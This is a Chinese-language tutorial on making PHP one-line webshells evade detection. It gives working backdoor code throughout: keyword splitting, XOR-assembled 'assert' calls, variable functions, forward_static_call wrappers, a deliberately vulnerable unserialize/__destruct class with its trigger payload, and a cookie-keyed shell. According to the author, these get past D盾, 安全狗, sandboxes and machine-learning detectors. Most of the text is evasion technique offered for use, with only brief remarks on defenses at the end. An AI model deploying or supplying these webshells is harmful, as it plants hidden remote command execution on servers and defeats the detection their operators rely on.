一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,有体积小、隐蔽性强、功能强大等特点. 当然很多时候是因为方便,再加上这些年菜刀,蚁剑,冰蝎的发展,使得一句话木马被广泛应用于渗透过程中
从一句话木马出现到现在也有好多年的历史了,这些年友军也没闲着,涌现出了各种防护系统以及各种新技术,本文就来简单探讨一下在新技术背景下的一句话免杀.
主流webshell检测系统的检测方向
2.基于行为+特征(沙盒技术、深度学习、机器学习)检测的防护
基于PHP语言版本对函数&免杀方法的影响
以下免杀方法仅对PHP版本7.1以下有效,部分免杀思路可以应用到7.1及其以上
在介绍影响之前首先先说明PHP中eval函数和assert函数的不同之处
eval:其实eval不能算是一个函数,它是一个语言构造器,语言构造器就相当于C中的预定义宏的意思,它属于php语言内部定义的关键词,不可以被修改,也不可以被禁用,同时语言构造器执行速度也比正常的函数要快,但是语言构造器不能被可变函数调用,可变函数就是通过一个变量获取其中的变量值,然后给该值加入(),使其变成一个函数去执行.通俗的讲就是<?php $a=”eval”;
@$a(@$_REQUEST[‘x’]); ?>这样是行不通的,这也就是为什么大家都是围绕着assert去进行各种变换&绕过.
但是在7.1版本中assert已经不行了,也就是说想要制作webshell必须要eval进行组成,在后面我会讲一些关于7.1之后的思路.但是可以预见到的是,如果完全过度到7.1以及以后版本之后,webshell的免杀的难度会大大增加.
一.突破基于特征检测&静态检测的防护
绕过目标:
D盾
http://www.d99net.net/down/WebShellKill_V2.0.9.zip
安全狗
http://download.safedog.cn/download/software/safedogwzApache.exe
首先一句话木马的原理和功能用过的朋友都知道,核心就是要把字符串当作php代码进行执行,其中在php语言中,主要会使用eval和assert这两种函数,相关的变形和突破都是围绕着这两个函数以及字符串.
思路1.变换关键字
变换关键字这种办法一般安全设备的厂商都能识别,一般很难奏效了,这里具体就举几个思路很不错的例子,毕竟打组合拳还是需要这些思路的.
其中一些思路还是和一般绕过差不多
编码&拆解合并
利用各种字符串处理函数以及可变函数将一些敏感关键字变形,做到通过简单正则无法识别的地步
举个例子:
<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t");
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);//payload
?>
同样规则的还有编码,利用编码隐藏关键字,核心思路都是:隐藏->还原->拼接执行
函数可以参考PHP的string函数
https://www.w3school.com.cn/php/php_ref_string.asp
或者通过定义数组能起到相同的效果
<?php
$array = array(
'part_one' => false,
'part_two' => $_REQUEST['x'],
);
eval($array['part_one'].$array['part_two']);
?>
随机异或加密
其实这个也是隐藏关键字的一种办法,只不过方法利用的随机异或的方法来进行隐藏关键字
举个例子:$a="Y"^"8"//a
利用异或来组成字符,也是一种很不错的思路,组合一下就成了下面的例子了:
<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$one="Y"^"8";//a
$two="T"^"'";//s
$three="*"^"O";//e
$four="M"^"?";//r
$five="-"^"Y";//t
$payload=$one.$two.$two.$three.$four.$five;
@$payload(@$_REQUEST['x']);
?>
可变变量&函数
这里主要是利用PHP语言特性进行混淆
可变变量
<?php
$a='assert';
$b='a';
//$$b=assert
?>
利用到木马上就是
<?php
$a='assert';
$b='a';
$$b($_REQUEST['x']);
?>
可变函数
可变函数前面介绍过了,简单的说就是一个变量名如果后门有()的话,PHP将会寻找与变量的值同名的函数,并且尝试执行它.
我们可以利用这点来进行混淆利用
举个例子
<?php
@$_REQUEST['z'](@$_REQUEST['x']);
?>
思路2.使用不常见的回调函数
显然像eval和assert 无论你怎么混淆或者伪装,waf以及查杀都会重点照顾他们,但是作为世界上最好的语言(笑),怎么可能灵活性这么差,我们可以利用一些冷门的回调函数进一步混淆&包装他们.
但是使用这些冷门的回调函数首先会出现一个问题,怎么去寻找这些函数?
这里分享一下方法:利用特征值去寻找冷门回调函数
首先我们看一下能够利用的函数都有那些特征值,举个例子
首先来个常见的可利用的回调函数,call_user_func,看下英文解释找到其中的特征
callback,什莫是特征?就是能够被利用的关键就是特征,能够被利用的回调函数的特征
1.回调函数
2.被调用
3.参数
4.方法
依次类推,总结成特征,翻译成英文就是called,callable,callback,invoke,function
以这些作为特征进行搜索寻找,能够大大减小搜索范围,增加找到的成功率
冷门回调函数绕过传统查杀
通过这种方法我们找到了forward_static_call()函数,利用它进行免杀
<?php
class test1
{
public static function test2()
{
forward_static_call("assert", @$_REQUEST['x']);
}
}
test1::test2();
?>
经测试,已过D盾,安全狗
思路3.正常代码隐藏&主动触发命令执行
这里主要利用PHP中可能存在命令执行漏洞的位置,然后去构造这个漏洞和触发它,达到命令执行->木马的目的.
这里主要是利用正常代码去混淆,这里举一个使用序列化漏洞触发命令执行的例子,同时这也是思路之一,使用正常代码去隐藏行为.相同道理,把一些敏感函数写在类或者自定义的函数里面,同样可以起到相同的效果.写的越接近业务逻辑代码,免杀的可能性就越高
构造漏洞
<?php
class payload_test{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['x'];
unserialize($file_name);
?>
触发命令执行
?x=O:12:"payload_test":1:{s:4:"data";s:10:"phpinfo();";}
检测之后,可过狗,但是D盾会报反序列化
以上这些思路和方法可以绕过一般的WAF&查杀,但是随着科技发展,越来越多的厂商选择使用机器学习算法以及动态检测技术来检测webshell.
二.突破基于机器学习技术的webshell查杀&基于动态检测技术的webshll查杀
绕过目标:
基于动态检测技术的webshell检测
https://scanner.baidu.com/#/pages/intro
基于深度学习模型的webshell检测
经过查阅一些资料发现,基于机器学习的webshell检测发现主要围绕着以下几种方式
1.收集webshell作为训练样本然后进行分类的黑名单训练
2.收集正常PHP业务逻辑代码和流量,进行白名单训练
3.如果直接用源代码分析,可能会出现很多的噪音,比如注释内容、花操作等等。为了过滤掉这些噪音。所以,我们使用PHP opcode 进行分析。这也是我查阅的资料中目前识别准确率较高的一种办法,比较推荐使用兜哥的opcode&n-gram模型.
兜哥文章:https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ
动态检测技术,主要思路是将webshell放入沙盒,通过在沙盒中执行来分析行为,或者是使用RASP技术进行检测,这种防御手段也是彻底封死了基于混淆&隐藏的这种免杀手段了.
在不使用加密这种手段的前提下,有没有一种办法可以绕过基于这俩种技术的检测呢?
后来我在主动触发命令执行中找到了一些思路
为何主动触发命令执行这种办法能够混淆?就是因为再没有传入关键key值之前,它就是一段正常的代码,没有任何危害性,同理,应对以上两种技术我们可以使用相同的办法,用正常代码来混淆,在没有传递或者正确打开key值之前,它就是一段无害的代码,只有拥有了关键的key值,它才能变成木马.
也就是说,沙盒运行中webshell没有关键信息,所以它是人畜无害的,自然就免杀了,当我们连接的时候会带上关键key,自然就会变成后门木马.
下一个问题是关键信息怎么携带?思考了下,总结了几种办法
1.HTTP-head
2.HTTP-body
3.文件名
举个例子
<?php
class test1
{
public static function test2()
{
$part = @$_COOKIE['cake'];
if ($part != 'assert') {
exit();
} else {
forward_static_call($part, @$_REQUEST['x']);
}
}
}
test1::test2();
?>
这样就做到了使用正常代码进行混淆的效果了,在不传入cake的时候,它就是无害的代码,一旦传入cake值为assert,就可以变成木马进行利用.
连接也是成功的
下面准备突破基于这两种技术的webshell查杀
机器学习突破
动态检测突破
使用这种办法,基于这两种技术的webshell检测基本就可以绕过了.
三.对于PHP7.1后webshell免杀的问题
关于这类问题,我相信看完前面的你,对于只能用eval的问题应该有一些思路了,如果没有这里可以给几点建议
1.既然不能混淆assert,那就混淆$_GET,$_POST,$_REQUEST,这种变量,会绕过一部分检测
2.使用正常代码混淆是依旧有效果的,因为正常代码中一样会出现eval
3.利用Apache、Nginx的特性实现免杀Webshell,感兴趣的可以参考下链接 https://www.uedbox.com/post/51694/
四.总结
对于冷门的回调函数以及各种花式混淆构造出的木马,基于传统的特征&黑名单检测已经失效了,要绕过这些很简单,因此已经失去了对抗webshell的意义了
对于新型的动态检测来说,还是不够成熟和稳定,但是很期待,它将会颠覆传统意义上的WAF.
下一篇可以讲下这种动态检测的背后—OpenRASP的技术原理和应用层次
对于机器学习模型检测来说,虽然效果大于基于规则的传统WAF,但是由于PHP本身的灵活性以及动态性,可以看到再不搞多维的情况下,难以有较好的效果(可能有大厂在样本庞大的情况下已经有了较好的模型,但是emmmm我也拿不到)
最后还是比较看好动态检测技术,也就是RASP防御,希望RASP 在未来一段时间内可以逐渐取代流量层 WAF 成为主流防御方式.
对于免杀来说,最重要的还是思路,以及对方使用的防御系统的了解,”知己知彼,百战不殆”,个人觉得想要免杀不是一件很难的事情,一个是多fuzzing,知道对方的防御规则以及原理,然后根据这些找出弱点进行绕过,另一个就是思路要灵活,要会打组合拳,一个思路不行,就多个思路组合在一起,多试试总是可以的.